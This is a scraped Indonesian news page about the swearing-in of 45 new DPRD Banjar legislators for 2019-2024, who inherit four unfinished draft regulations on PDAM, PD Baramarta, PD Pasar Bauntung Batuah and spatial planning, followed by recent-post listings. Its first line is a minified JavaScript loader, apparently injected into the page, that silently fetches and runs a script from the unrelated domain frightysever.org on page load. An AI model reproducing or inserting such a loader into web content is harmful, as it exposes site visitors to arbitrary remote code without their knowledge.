(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Besok Dilantik, 45 Anggota Baru DPRD Banjar Dapat Warisan 4 Raperda


MARTAPURA, Sebanyak 45 anggota baru DPRD Banjar akan dilantik Rabu (4/9) pagi di gedung DPRD Kabupaten Banjar Jalan A Yani Km 40 Martapura. Di hari pertama menjabat, mereka pun langsung mendapatkan ‘kado’ 4 Raperda yang tak sempat dijamah dewan sebelumnya.

Prosesi pelantikan anggota legislatif Kabupaten Banjar periode 2019-2024 ditandai pengambilan sumpah dan janji oleh Ketua PN Martapura Makmurin Kusumastuti SH, MH, terhadap 45 anggota legislatif yang terpilih pada Pileg lalu.

Hari ini, kesibukan terlihat di kesekretariatan DPRD. Persiapan itu seperti pembersihan ruang utama sidang paripurna istimewa di Lantai II. Kemudian di lantai dua itu pula terdapat ruang pimpinan terdiri ketua dan tiga wakil ketua, yang turut ditata ulang.

Beralih di Lantai III disediakan untuk para tamu dan undangan. Tak berbeda jauh, di bagian depan yakni di halaman disediakan tempat duduk bagi para tamu dan undangan lainnya.

Menurut anggota KPU Banjar, Abdul Karim Omar, pelantikan anggota baru juga akan mengundang berbagai tamu. Mulai Bupati, Wakil Bupati, jajaran Forkopimda, organisasi kemasyarakatn, tokoh, dan lainnya. “Kita berdoa semoga acara besok berlangsung lancar,” katanya.

Sebelumnya, Wakil Ketua DPRD Banjar, Saidan Pahmi menyampaikan, masih ada 4 perda yang tidak bisa diselesaiakan dewan lama. “Waktu yang terbatas, sehingga 4 Raperda tidak sempat kita selesaikan. Selanjutnya keempat Raperda akan diselesaikan Anggota DPRD Banjar periode  2019-2024 yang akan dilantik 4 September mendatang,” katanya.

Keempat Raperda yang akan diwariskan kepada Anggota DPRD Banjar yang baru ungkap Saidan, yakni Raperda perubahan Badan Hukum PDAM Intan Banjar menjadi PT, PD Baramarta, PD Pasar Bauntung Batuah, dan perubahan Raperda tentang RTRW.

“Semua Raperda tersebut sudah diparipurnakan, tetapi belum bisa diambil keputusan, karena belum selesai di pembahasan. Jadi 4 Raperda tersebut jadi PR bagi Anggota DPRD berikutnya dan biarlah menjadi keputusan politik mereka,” ungkapnya. (rendy)

Reporter : Rendy
Editor : Cell

Desy Arfianty

Recent Posts

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

2 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

21 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

1 hari ago

This website uses cookies.